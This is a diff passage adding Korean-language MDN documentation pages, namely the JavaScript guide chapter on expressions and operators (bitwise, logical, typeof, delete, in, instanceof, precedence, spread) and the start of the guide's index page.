+ <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Unsigned_right_shift">부호 없는 오른쪽 시프트</a></td>
+ <td><code>a &gt;&gt;&gt; b</code></td>
+ <td>사라지는 비트를 버리고 왼쪽에서 0을 이동시키면서, a의 이진수의 각 비트를 b비트 만큼 이동시킨 값을 반환합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="Bitwise_Logical_Operators" name="Bitwise_Logical_Operators">비트 논리 연산자</h4>
+
+<p>개념상으로, 비트단위 논리 연산자는 다음과 같이 동작합니다:</p>
+
+<ul>
+ <li>피연산자들은 32비트 정수로 변환되고, 비트(0 과 1)의 연속으로 표현됩니다. 숫자는 32비트가 넘는 경우 가장 중요한(왼쪽) 비트부터 제거됩니다. 예를 들면 아래 예처럼 32비트가 넘는 정수는 32비트 정수형으로 변환됩니다:
+ <pre><code>변환전: 11100110111110100000000000000110000000000001
+변환수: 10100000000000000110000000000001</code></pre>
+ </li>
+ <li>처음 피연산자의 각 비트는 두번째 피연산자의 해당하는 비트와 짝지어집니다: 첫번째 비트는 첫번째 비트에, 두번째 비트는 두번째 비트에, 이런식으로 쭉.</li>
+ <li>연산자는 각 비트 묶음에 적용되고, 결과는 조립된 비트입니다.</li>
+</ul>
+
+<p>예를 들면, 9의 이진표현은 1001이고, 15의 이진표현은 1111입니다. 따라서, 비트단위 연산자가 이 값들에 적용될때, 결과는 다음과 같습니다:</p>
+
+<table class="standard-table">
+ <caption>비트 연산자 예제</caption>
+ <thead>
+ <tr>
+ <th scope="col">표현</th>
+ <th scope="col">결과</th>
+ <th scope="col">이진법 설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>15 &amp; 9</code></td>
+ <td><code>9</code></td>
+ <td><code>1111 &amp; 1001 = 1001</code></td>
+ </tr>
+ <tr>
+ <td><code>15 | 9</code></td>
+ <td><code>15</code></td>
+ <td><code>1111 | 1001 = 1111</code></td>
+ </tr>
+ <tr>
+ <td><code>15 ^ 9</code></td>
+ <td><code>6</code></td>
+ <td><code>1111 ^ 1001 = 0110</code></td>
+ </tr>
+ <tr>
+ <td><code>~15</code></td>
+ <td><code>-16</code></td>
+ <td><code>~</code><code>00000000...</code><code>00001111 = </code><code>1111</code><code>1111</code><code>...</code><code>11110000</code></td>
+ </tr>
+ <tr>
+ <td><code>~9</code></td>
+ <td><code>-10</code></td>
+ <td><code>~</code><code>00000000</code><code>...</code><code>0000</code><code>1001 = </code><code>1111</code><code>1111</code><code>...</code><code>1111</code><code>0110</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>모든 32비트가 비트단위 부정연산자를 통해 뒤집히고, 가장 의미있는(가장 왼쪽의) 비트가 1인 값들이 음수(2의 보수 표기법)로 표현되는것에 주목하세요 . ~x 의 평가 값은 -x -1의 평가값과 동일합니다.</p>
+
+<h4 id="Bitwise_Shift_Operators" name="Bitwise_Shift_Operators">비트 시프트 연산자</h4>
+
+<p>비트 단위 연산자는 2개의 피연산자를 가집니다: 첫번째는 이동될 수치이고, 두번째는 첫번째 피연산자가 이동될 비트 자리수를 명시합니다. 비트 이동 연산의 방향은 연산자의 사용에 의해 조종됩니다.</p>
+
+<p>이동 연산자는 피연산자를 32비트의 정수로 변환하고, 왼쪽의 피연산자와 같은 형태를 반환합니다.</p>
+
+<p>이동 연산자는 다음의 표에 나열되었습니다.</p>
+
+<table class="fullwidth-table">
+ <caption>비트 시프트 연산자</caption>
+ <thead>
+ <tr>
+ <th scope="col">연산자</th>
+ <th scope="col">설명</th>
+ <th scope="col">예제</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>왼쪽 시프트<br>
+ (<code>&lt;&lt;</code>)</td>
+ <td>이 연산자는 첫번째 피연산자를 특정한 수의 비트를 왼쪽으로 이동시킵니다. 왼쪽으로 초과되어 이동되는 비트들은 버려집니다. 오른쪽으로부터 0이 이동됩니다.</td>
+ <td><code>9&lt;&lt;2</code> yields 36, because 1001 shifted 2 bits to the left becomes 100100, which is 36.</td>
+ </tr>
+ <tr>
+ <td>부호 전파 오른쪽 시프트(<code>&gt;&gt;</code>)</td>
+ <td>이 연산자는 첫번째 피연산자를 특정한 수의 비트를 오른쪽으로 이동시킵니다. 오른쪽으로 초과되어 이동되는 비트들은 버려집니다. 왼쪽으로부터 제일 왼쪽의 비트 값이 이동됩니다.</td>
+ <td><code>9&gt;&gt;2</code> yields 2, because 1001 shifted 2 bits to the right becomes 10, which is 2. Likewise, <code>-9&gt;&gt;2</code> yields -3, because the sign is preserved.</td>
+ </tr>
+ <tr>
+ <td>부호 없는 오른쪽 시프트(<code>&gt;&gt;&gt;</code>)</td>
+ <td>이 연산자는 첫번째 피연산자를 특정한 수의 비트를 오른쪽으로 이동시킵니다. 오른쪽으로 초과되어 이동되는 비트들은 버려집니다. 왼쪽으로부터 0이 이동됩니다 .</td>
+ <td><code>19&gt;&gt;&gt;2</code> yields 4, because 10011 shifted 2 bits to the right becomes 100, which is 4. For non-negative numbers, zero-fill right shift and sign-propagating right shift yield the same result.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="논리_연산자">논리 연산자</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators">논리 연산자</a>는 보통 부울 값과 사용됩니다; 부울 값들과 사용될때, 연산자는 부울값을 반환합니다. <code>그러나,&amp;&amp; 과 </code><code>||</code> 연산자는 실제로 명시된 피연자들 중 하나를 반환합니다. 따라서, 만약 이 연산자들이 부울 값이 아닌 값들과 함께 쓰였을때, 그들은 부울 값이 아닌 값을 반환할지도 모릅니다. 논리 연산자들은 다음의 표에서 설명됩니다.</p>
+
+<table class="fullwidth-table">
+ <caption>논리 연산자</caption>
+ <tbody>
+ <tr>
+ <th>연산자</th>
+ <th>구문</th>
+ <th>설명</th>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_AND">논리 AND</a> (<code>&amp;&amp;</code>)</td>
+ <td><code><em>expr1</em> &amp;&amp; <em>expr2</em></code></td>
+ <td><code>expr1</code>을 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">true</span></font>로 변환할 수 있는 경우 <code>expr2</code>을 반환하고, 그렇지 않으면 <code>expr1</code>을 반환합니다.</td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR">논리 OR</a> (<code>||</code>)</td>
+ <td><code><em>expr1</em> || <em>expr2</em></code></td>
+ <td>
+ <p><code>expr1</code>을 <code>true</code>로 변환할 수 있으면 <code>expr1</code>을 반환하고, 그렇지 않으면 <code>expr2</code>를 반환합니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_NOT">논리 NOT</a> (<code>!</code>)</td>
+ <td><code>!<em>expr</em></code></td>
+ <td>단일 피연산자를 <code>true</code>로 변환할 수 있으면 <code>false</code>를 반환합니다. 그렇지 않으면 <code>true</code>를 반환합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><code>false</code>로 변환될 수 있는 표현 예제들은 null, 0, NaN, 빈 문자열 (""), 또는 정의되지 않음 으로 평가될 수 있습니다.</p>
+
+<p>다음의 코드는 <code>&amp;&amp;</code> (논리 곱) 연산자의 예제를 보여주고 있습니다.</p>
+
+<pre class="brush: js">var a1 = true &amp;&amp; true; // t &amp;&amp; t returns true
+var a2 = true &amp;&amp; false; // t &amp;&amp; f returns false
+var a3 = false &amp;&amp; true; // f &amp;&amp; t returns false
+var a4 = false &amp;&amp; (3 == 4); // f &amp;&amp; f returns false
+var a5 = "Cat" &amp;&amp; "Dog"; // t &amp;&amp; t returns Dog
+var a6 = false &amp;&amp; "Cat"; // f &amp;&amp; t returns false
+var a7 = "Cat" &amp;&amp; false; // t &amp;&amp; f returns false
+</pre>
+
+<p>다음의 코드는 || (논리 합) 연산자의 예제를 보여주고 있습니다.</p>
+
+<pre class="brush: js">var o1 = true || true; // t || t returns true
+var o2 = false || true; // f || t returns true
+var o3 = true || false; // t || f returns true
+var o4 = false || (3 == 4); // f || f returns false
+var o5 = "Cat" || "Dog"; // t || t returns Cat
+var o6 = false || "Cat"; // f || t returns Cat
+var o7 = "Cat" || false; // t || f returns Cat
+</pre>
+
+<p>다음의 코드는 ! (논리 부정) 연산자의 예제를 보여주고 있습니다.</p>
+
+<pre class="brush: js">var n1 = !true; // !t returns false
+var n2 = !false; // !f returns true
+var n3 = !"Cat"; // !t returns false
+</pre>
+
+<h4 id="Short-Circuit_Evaluation" name="Short-Circuit_Evaluation">단락 평가</h4>
+
+<p>논리 연산자가 왼쪽에서 오른쪽으로 평가될때, 논리연산자는 다음의 규칙을 따라서 "단축 계산"으로 검사됩니다:</p>
+
+<ul>
+ <li><code>false</code> &amp;&amp; <em>anything</em> 는 false로 단축 계산됩니다.</li>
+ <li><code>true</code> || <em>anything</em> 는 true로 단축 계산됩니다.</li>
+</ul>
+
+<p>이 논리 규칙들은 이러한 평가가 언제나 정확하다고 보증합니다. <em>위에서 anything</em> 부분은 평가되지 않았고, 어떤 부작용도 아무런 효과를 미치지 못한다는 것에 주목하세요.</p>
+
+<h3 id="문자열_연산자">문자열 연산자</h3>
+
+<p>문자열 값으로 사용될 수 있는 비교 연산자에 덧붙여서, 연결 연산자 (+)는 두 문자열 값을 연결하고,두 문자열이 합쳐진 새로운 문자열을 반환합니다.</p>
+
+<p>예를 들어,</p>
+
+<pre class="brush: js"><code>console.log("my " + "string");</code> // console logs the string <code>"my string"</code>.</pre>
+
+<p>복합 할당 연산자인 += 또한 문자열을 연결하는데 사용할 수 있습니다.</p>
+
+<p>예를 들어,</p>
+
+<pre class="brush: js">var <code>mystring</code> = "alpha";
+<code>mystring += "bet"; // </code>evaluates to "alphabet" and assigns this value to <code>mystring</code>.</pre>
+
+<h3 id="조건_삼항_연산자">조건 (삼항) 연산자</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">조건 연산자</a> 는 JavaScript에서 3개의 항을 사용하는 유일한 연산자 입니다. 조건 연산자는 조건에 따라 2개의 값중 하나를 가질 수 있습니다. 문법은 다음과 같습니다:</p>
+
+<pre class="syntaxbox"><em>조건</em> ? <em>값1</em> : <em>값2</em>
+</pre>
+
+<p><code>만약 조건이 참이라면, 조건 연산자는 값1을 값으로 갖습니다</code>.<code> 그렇지 않은 경우 조건 연산자는 값2을 값으로 갖습니다</code>. 표준 연산자를 사용하는 어디든 조건연산자를 사용할 수 있습니다.</p>
+
+<p>에들 들어,</p>
+
+<pre class="brush: js">var status = (age &gt;= 18) ? "adult" : "minor";
+</pre>
+
+<p>이 구문은 age 변수가 18보다 같거나 클때 "adult" 값을 <code>status 변수에 할당합니다</code>. 그렇지 않은 경우, 이 구문은 "minor"값을<code> status</code>변수에 할당합니다.</p>
+
+<h3 id="쉼표_연산자">쉼표 연산자</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comma_Operator">쉼표 연산자</a> (<code>,</code>)는 두 피연산자를 평가하고, 마지막 피연산자의 값을 반환합니다. 이 연산자는 주로 <code>for</code> 반복문 안에서 각각의 시간에 복수의 변수들을 갱신하기 위하여 사용합니다.</p>
+
+<p>예를 들어, a는 각 변에 10개의 원소가 있는 2차원 배열일때, 다음의 코드는 콤마 연산자를 두 변수를 한번에 증가 시키기 위하여 사용하였습니다. 이 코드는 배열의 대각선에 위치한 원소를 출력합니다:</p>
+
+<pre><code>var x = [0,1,2,3,4,5,6,7,8,9]
+var a = [x, x, x, x, x];
+
+for (var i = 0, j = 9; i &lt;= j; i++, j--)
+ console.log('a[' + i + '][' + j + ']= ' + a[i][j]);</code></pre>
+
+<h3 id="단항_연산자">단항 연산자</h3>
+
+<p>단항 연산자는 오직 하나의 피연산자를 가지고 연산을합니다.</p>
+
+<h4 id="delete" name="delete"><code>delete</code></h4>
+
+<p><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code>연산자는 객체, 객체의 속성 또는 배열의 특정한 위치에 있는 객체를 삭제합니다. 문법은 다음과 같습니다:</p>
+
+<pre class="brush: js">delete objectName;
+delete objectName.property;
+delete objectName[index];
+delete property; // legal only within a with statement
+</pre>
+
+<p><code>objectName</code>은 객체의 이름이고, <code>property</code>는 객체에 존재하는 속성이고,<code>index</code>는 배열의 위치를 나타내는 정수입니다.</p>
+
+<p>네번째 형태의 경우,객체의 속성을 삭제하기 위하여 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/with">with</a></code> 구문이 있어야만 동작합니다.</p>
+
+<p><code>delete</code> 연산자를 <code>var</code> 구문을 사용하지 않고 묵시적으로 만들어진 변수를 삭제할 때 사용할 수 있습니다.</p>
+
+<p>만약 <code>delete</code>연산자의 동작이 성공했다면, delete 연산자는 속성이나, 원소를 <code>undefined</code> 로 설정합니다. <code>delete</code> 연산자는 연산이 수행 가능할때 true값을 반환합니다; 수행이 불가능 할 경우 <code>false</code> 값을 반환합니다.</p>
+
+<pre class="brush: js">x = 42;
+var y = 43;
+myobj = new Number();
+myobj.h = 4; // create property h
+delete x; // returns true (can delete if declared implicitly)
+delete y; // returns false (cannot delete if declared with var)
+delete Math.PI; // returns false (cannot delete predefined properties)
+delete myobj.h; // returns true (can delete user-defined properties)
+delete myobj; // returns true (can delete if declared implicitly)
+</pre>
+
+<h5 id="배열의_원소를_삭제하기">배열의 원소를 삭제하기</h5>
+
+<p>배열의 원소를 삭제할때, 배열의 길이에는 영향을 주지 못합니다. 예를 들어, 만약 <code>a[3]</code>, <code>a[4]를 삭제 했다면</code> <code>a[4]</code> 와 <code>a[3]는 undefined(정의되지 않음)상태로 되어 있습니다</code>.</p>
+
+<p><code>delete</code> 연산자가 배열의 한 원소를 삭제하였을때, 그 원소는 배열에 존재하지 않습니다. 다음의 예제에서, <code>trees[3]</code>는 <code>delete 연산자에 의해 제거되었습니다</code>.그러나, <code>trees[3]</code> 는 아직도 다룰수 있고 <code>undefined</code>(정의 되지 않음) 을 반환합니다.</p>
+
+<pre class="brush: js">var trees = ["redwood", "bay", "cedar", "oak", "maple"];
+delete trees[3];
+if (3 in trees) {
+ // this does not get executed
+}
+</pre>
+
+<p>만약 배열의 원소가 존재하지만 undefined(정의 되지 않음)값을 가지고 싶으면,<code> delete 연산자 대신 undefined</code> 키워드를 사용하세요. 다음의 예제에서, <code>trees[3]</code> 은 <code>undefined값을 할당받습니다</code>,그러나 배열의 원소는 아직도 존재합니다:</p>
+
+<pre class="brush: js">var trees = ["redwood", "bay", "cedar", "oak", "maple"];
+trees[3] = undefined;
+if (3 in trees) {
+ // this gets executed
+}
+</pre>
+
+<h4 id="typeof" name="typeof"><code>typeof</code></h4>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/typeof"><code>typeof</code> 연산자</a>는 다음과 같은 방법으로 사용됩니다:</p>
+
+<pre class="syntaxbox">typeof 피연산자
+typeof (피연산자)
+</pre>
+
+<p><code>typeof</code> 연산자 피연산자의 타입을 나타내는 문자열을 반환합니다. <code>피연산자</code> 는 어떤 타입인지 반환될 문자열, 변수, 키워드,또는 객체입니다 . 괄호 표현은 선택사항입니다.</p>
+
+<p>다음의 변수를 정의했다고 가정하세요:</p>
+
+<pre class="brush: js">var myFun = new Function("5 + 2");
+var shape = "round";
+var size = 1;
+var foo = ['Apple', 'Mango', 'Orange'];
+var today = new Date();
+</pre>
+
+<p><code>typeof</code> 연산자는 이 변수들에 대하여 다음과 같은 값을 반환합니다:</p>
+
+<pre class="brush: js">typeof myFun; // returns "function"
+typeof shape; // returns "string"
+typeof size; // returns "number"
+typeof foo; // returns "object"
+typeof today; // returns "object"
+typeof dontExist; // returns "undefined"
+</pre>
+
+<p><code>typeof</code> 연산자는 키워드<code>true</code> 와 <code>null</code>에 대하여 다음과 같은 결과를 반환합니다:</p>
+
+<pre class="brush: js">typeof true; // returns "boolean"
+typeof null; // returns "object"
+</pre>
+
+<p>typeof 연산자는 숫자와 문자열에 대하여 다음과 같은 결과를 반환합니다:</p>
+
+<pre class="brush: js">typeof 62; // returns "number"
+typeof 'Hello world'; // returns "string"
+</pre>
+
+<p><code>typeof</code> 연산자는 객체의 속성에 대하여 속성이 갖고있는 타입의 값을 반환합니다.</p>
+
+<pre class="brush: js">typeof document.lastModified; // returns "string"
+typeof window.length; // returns "number"
+typeof Math.LN2; // returns "number"
+</pre>
+
+<p><code>typeof</code> 연산자는 메소드와 함수들에 대하여 다음과 같은 결과를 반환합니다:</p>
+
+<pre class="brush: js">typeof blur; // returns "function"
+typeof eval; // returns "function"
+typeof parseInt; // returns "function"
+typeof shape.split; // returns "function"
+</pre>
+
+<p><code>typeof 연산자는</code> 미리 정의된 객체에 대하여 다음과 같은 결과를 반환합니다:</p>
+
+<pre class="brush: js">typeof Date; // returns "function"
+typeof Function; // returns "function"
+typeof Math; // returns "object"
+typeof Option; // returns "function"
+typeof String; // returns "function"
+</pre>
+
+<h4 id="void" name="void"><code>void</code></h4>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/void"><code>void</code> 연산자</a> 는 다음과 같은 방법들로 사용됩니다:</p>
+
+<pre class="syntaxbox">void (식)
+void 식
+</pre>
+
+<p><code>void</code> 연산자는 값을 반환하지 않고 평가되도록 명시합니다. <code>식</code>은 JavaScript의 평가될 표현 입니다. 괄호 로 둘러싸는것은 선택사항이지만, 괄호로 둘러싸는게 좋은 사용방법입니다.</p>
+
+<p><code>void</code> 연산자를 표현을 하이퍼링크 에서 명시할때 사용할 수 있습니다 . 구문은 실행이 되나, 현재의 문서에는 로드되지 않습니다.</p>
+
+<p>다음의 코드는 사용자가 클릭을 하였을때 아무 일도 안하는 하이퍼링크를 생성합니다. 사용자가 클릭을 했을때, <code>void(0)</code>는<code> JavaScript에서 아무런 영향을 줄 수 없는 undefined(정의 되지않음)</code>으로 평가됩니다.</p>
+
+<pre class="brush: html">&lt;a href="javascript:void(0)"&gt;Click here to do nothing&lt;/a&gt;
+</pre>
+
+<p>다음의 코드는 사용자가 클릭을 하였을때, 폼을 제출하는 하이퍼링크를 생성합니다.</p>
+
+<pre class="brush: html">&lt;a href="javascript:void(document.form.submit())"&gt;
+Click here to submit&lt;/a&gt;</pre>
+
+<h3 id="관계_연산자">관계 연산자</h3>
+
+<p>관계 연산자는 피연산자들을 비교하고 <code>,비교의 참 여부에 기반하여 부울 값을 반환합니다</code>.</p>
+
+<h4 id="in"><code>in</code></h4>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> 연산자</a>는 객체에 특정한 속성이 있는경우 true를 반환합니다. 구문은 다음과 같습니다:</p>
+
+<pre class="brush: js">propNameOrNumber in objectName
+</pre>
+
+<p><code>propNameOrNumber</code>는 속성의 이름을 나타내는 문자열 또는 배열의 인덱스를 나타내는 숫자이고, <code>objectName은 객체의 이름입니다</code>.</p>
+
+<p>다음의 예제는 <code>in</code> 연산자의 사용 예를 보여줍니다.</p>
+
+<pre class="brush: js">// Arrays
+var trees = ["redwood", "bay", "cedar", "oak", "maple"];
+0 in trees; // returns true
+3 in trees; // returns true
+6 in trees; // returns false
+"bay" in trees; // returns false (you must specify the index number,
+ // not the value at that index)
+"length" in trees; // returns true (length is an Array property)
+
+// built-in objects
+"PI" in Math; // returns true
+var myString = new String("coral");
+"length" in myString; // returns true
+
+// Custom objects
+var mycar = { make: "Honda", model: "Accord", year: 1998 };
+"make" in mycar; // returns true
+"model" in mycar; // returns true
+</pre>
+
+<h4 id="instanceof" name="instanceof"><code>instanceof</code></h4>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/instanceof"><code>instanceof</code> 연산자</a>는 명시된 객체가 명시된 객체형인 경우 true를 반환합니다. 구문은 다음과 같습니다:</p>
+
+<pre class="syntaxbox">objectName instanceof objectType
+</pre>
+
+<p><code>objectName은 objectType 과 비교할 객체의 이름이고</code>, <code>objectType</code> 은 {{jsxref("Date")}} 또는 {{jsxref("Array")}}과 같은 객체형 입니다.</p>
+
+<p><code>instanceof</code> 연산자를 동작시간에 객체의 형태를 확인할 필요가 있을때 사용하세요. 예를 들어, 예외가 발생하였을때, 던저진 예외의 형태에 따라 예외를 처리하는 코드로 나뉘게 할 수 있습니다.</p>
+
+<p>예를 들어, 다음의 코드는<code>instanceof</code> 연산자를<code>theDay 객체가</code> <code>Date</code> 형의 객체인지 알아내는 코드입니다. <code>theDay</code>객체는 <code>Date</code> 형의 객체이기 때문에, <code>if</code> 문 안의 명령문들은 실행됩니다.</p>
+
+<pre class="brush: js">var theDay = new Date(1995, 12, 17);
+if (theDay instanceof Date) {
+ // statements to execute
+}
+</pre>
+
+<h3 id="연산자_우선순위">연산자 우선순위</h3>
+
+<p>연산자의 우선순위는 구문을 수행할 때 수행될 순서를 결정합니다. 괄호를 통하여 우선순위를 재정의 할 수 있습니다.</p>
+
+<p>다음의 표는 우선순위가 높은 순서부터 낮은 순서까지, 연산자의 우선순위에 대하여 설명하고 있습니다.</p>
+
+<table class="standard-table">
+ <caption>연산자 우선순위</caption>
+ <thead>
+ <tr>
+ <th scope="col">Operator type</th>
+ <th scope="col">Individual operators</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>맴버 연산자</td>
+ <td><code>. []</code></td>
+ </tr>
+ <tr>
+ <td>객체 호출/생성 연산자</td>
+ <td><code>() new</code></td>
+ </tr>
+ <tr>
+ <td>부정/증가 연산자</td>
+ <td><code>! ~ - + ++ -- typeof void delete</code></td>
+ </tr>
+ <tr>
+ <td>곱셈/나눗셈 연산자</td>
+ <td><code>* / %</code></td>
+ </tr>
+ <tr>
+ <td>덧셈/뺄셈 연산자</td>
+ <td><code>+ -</code></td>
+ </tr>
+ <tr>
+ <td>비트단위 시프트 연산자</td>
+ <td><code>&lt;&lt; &gt;&gt; &gt;&gt;&gt;</code></td>
+ </tr>
+ <tr>
+ <td>관계 연산자</td>
+ <td><code>&lt; &lt;= &gt; &gt;= in instanceof</code></td>
+ </tr>
+ <tr>
+ <td>같음 비교 연산자</td>
+ <td><code>== != === !==</code></td>
+ </tr>
+ <tr>
+ <td>비트 단위 논리곱 연산자</td>
+ <td><code>&amp;</code></td>
+ </tr>
+ <tr>
+ <td>비트단위 배타적 논리합 연산자</td>
+ <td><code>^</code></td>
+ </tr>
+ <tr>
+ <td>비트단위 논리합 연산자</td>
+ <td><code>|</code></td>
+ </tr>
+ <tr>
+ <td>논리 곱 연산자</td>
+ <td><code>&amp;&amp;</code></td>
+ </tr>
+ <tr>
+ <td>논리 합 연산자</td>
+ <td><code>||</code></td>
+ </tr>
+ <tr>
+ <td>조건 연산자</td>
+ <td><code>?:</code></td>
+ </tr>
+ <tr>
+ <td>할당 연산자</td>
+ <td><code>= += -= *= /= %= &lt;&lt;= &gt;&gt;= &gt;&gt;&gt;= &amp;= ^= |=</code></td>
+ </tr>
+ <tr>
+ <td>콤마 연산자</td>
+ <td><code>,</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>각 각의 연산자에 대한 추가적인 상세사항에 대해 연결된, 더 자세한 표를 보고 싶으면, <a href="/ko/docs/Web/JavaScript/Reference/Operators/Operator_Precedence#Table">JavaScript Reference</a>에서 보실 수 있습니다.</p>
+
+<h2 id="표현식">표현식</h2>
+
+<p><span>코드 값으로 확인된 표현은 그 어떤 타당한 단위입니다.</span></p>
+
+<p>개념적으로, 2가지의 유형이 있습니다. 첫번째는, 변수에 값을 할당시키는 것, 두번째는 단순히 값을 갖는것이 있습니다.</p>
+
+<p>x = 7이란 표현은 첫번째 유형입니다. 이 표현은 x에다가 7을 할당시키기위해 =연산자를 사용합니다. 그 표현자체 7로 계산됩니다.</p>
+
+<p>3 + 4란 코드는 두번째 표현방식의 예입니다. 이 표현은 7이라는 결과로 할당하는것없이 3과 4를 더하기위해 +연산자를 사용합니다.</p>
+
+<p>JavaScript는 아래 표현범주를 따릅니다.</p>
+
+<ul>
+ <li>산수 : 예를 들어 3.14159를 숫자로 평가합니다. (일반적으로 <a href="#산술_연산자">산술 연산자</a>를 사용합니다.)</li>
+ <li>문자열 : 예를 들어 "Fred"나 "234"를 문자열로 평가합니다. (일반적으로 <a href="#문자열_연산자">문자열 연산자</a>를 사용합니다.)</li>
+ <li>논리 : 참이나 거짓으로 평가합니다. (종종 <a href="#논리_연산자">논리 연산자</a>를 수반합니다.)</li>
+ <li>일차식 : JavaScript에서 기본핵심어와 일반적인 표현입니다.</li>
+ <li>좌변식 : 좌변값들이 배치의 목적입니다.</li>
+</ul>
+
+<h3 id="중요한_표현식">중요한 표현식</h3>
+
+<p>JavaScript에서의 기본적인 키워드와 일반적인 표현식입니다.</p>
+
+<h4 id="this"><code>this</code></h4>
+
+<p>현재 객체를 참조하는 데 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code> 키워드</a>를 사용합니다. 일반적으로, this는 메소드에서 호출하는 객체를 참조합니다. 점(.)이나 괄호([])로 접근할 수 있습니다.</p>
+
+<pre class="syntaxbox">this["propertyName"]
+this.propertyName
+</pre>
+
+<p>어떤 객체의 최솟값 최댓값에 대하여, value 프로퍼티가 유효범위에 속하는지를 평가하는 validate 함수를 호출했다고 가정해봅시다.</p>
+
+<pre class="brush: js">function validate(obj, lowval, hival){
+ if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+ console.log("Invalid Value!");
+}
+</pre>
+
+<p>다음과 같이 각 form 요소의 onChange 이벤트 처리기에서 validate 함수를 호출할 수 있습니다. this 일차식을 사용하여 form 요소(element)를 전달할 수 있습니다:</p>
+
+<pre class="brush: html">&lt;p&gt;Enter a number between 18 and 99:&lt;/p&gt;
+&lt;input type="text" name="age" size=3 onChange="validate(this, 18, 99);"&gt;
+</pre>
+
+<h4 id="그룹_연산자">그룹 연산자</h4>
+
+<p>그룹연산자 ()는 표현식 평가의 우선순위를 조절합니다. 예를 들어, 곱셈과 나눗셈 연산을 무시하고, 우선 덧셈 뺄셈 연산을 먼저 수행할 수도 있습니다.</p>
+
+<pre class="brush:js">var a = 1;
+var b = 2;
+var c = 3;
+
+// default precedence
+a + b * c // 7
+// evaluated by default like this
+a + (b * c) // 7
+
+// now overriding precedence
+// addition before multiplication
+(a + b) * c // 9
+
+// which is equivalent to
+a * c + b * c // 9
+</pre>
+
+<h3 id="좌변식">좌변식</h3>
+
+<p>좌측값들이 좌변식의 목적입니다.</p>
+
+<h4 id="new" name="new"><code>new</code></h4>
+
+<p><span>당신은 사용자 정의 객체 형식 또는 한 내장된 객체 형식의 인스턴스를 만드는 데는 </span><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/new">new 연산자</a>를 </code><span>사용할 수 있습니다.</span> new는 아래와 같이 사용할 수 있습니다:</p>
+
+<pre class="brush: js">var objectName = new objectType([param1, param2, ..., paramN]);
+</pre>
+
+<h4 id="super">super</h4>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/super">Super 키워드</a>는<span>개체의 부모에 함수를 호출하는 데 사용됩니다. 예를 들어 이것은 부모생성자를 부르는 </span> <a href="/ko/docs/Web/JavaScript/Reference/Classes">클래스들</a><span>과 함께 유용합니다 </span></p>
+
+<pre class="syntaxbox">super([arguments]); // calls the parent constructor.
+super.functionOnParent([arguments]);
+</pre>
+
+<h4 id="확산연산자">확산연산자</h4>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Spread_operator">확산연산자</a>는 다중인수(함수호출)또는 다중요소(문자배열)들이 예상되는 곳에서 확장될 수 있는 표현을 하게합니다.</p>
+
+<p><strong>Example:</strong> 만약 하나의 배열에 다른 하나의 배열을 추가하고 싶을 때에는 Array 리터럴 구문이 더이상 충분하지않으므로 <code>push</code>, <code>splice</code>, <code>concat</code>과 같은 함수를 사용하는 것이 좋습니다. 하지만 확산연산자를 사용할 경우 좀 더 간결한 구문으로 구현할 수 있습니다. </p>
+
+<pre class="brush: js">var parts = ['shoulder', 'knees'];
+var lyrics = ['head', ...parts, 'and', 'toes'];
+
+//[ 'head', 'shoulders', 'knees', 'and', 'toes' ]
+</pre>
+
+<p><span>위와 같이, 확산연산자의 함수 호출은 다음과 같이 사용합니다.</span></p>
+
+<pre class="brush: js">function f(x, y, z) { }
+var args = [0, 1, 2];
+f(...args);</pre>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}</div>
diff --git a/files/ko/web/javascript/guide/index.html b/files/ko/web/javascript/guide/index.html
new file mode 100644
index 0000000000..7ae4ac0fcf
--- /dev/null
+++ b/files/ko/web/javascript/guide/index.html
@@ -0,0 +1,138 @@
+---
+title: JavaScript 안내서
+slug: Web/JavaScript/Guide
+tags:
+ - Guide
+ - JavaScript
+ - 'l10n:priority'
+ - 자바스크립트
+translation_of: Web/JavaScript/Guide
+---
+<div>{{jsSidebar("JavaScript Guide")}}</div>
+
+<p class="summary">JavaScript 안내서에서 <a href="/ko/docs/Web/JavaScript">JavaScript</a> 언어 개요와 사용법을 알아보세요. 언어 기능에 대해 상세한 정보가 필요하면 <a href="/ko/docs/Web/JavaScript/Reference">JavaScript 참고서</a>를 방문하세요.</p>
+
+<h2 id="목차">목차</h2>
+
+<p>본 안내서는 여러 장으로 구성되어 있습니다.</p>
+
+<ul class="card-grid">
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Introduction">소개</a></span>
+
+ <p><a href="/ko/docs/Web/JavaScript/Guide/Introduction#Where_to_find_JavaScript_information">이 가이드에 대해서</a><br>
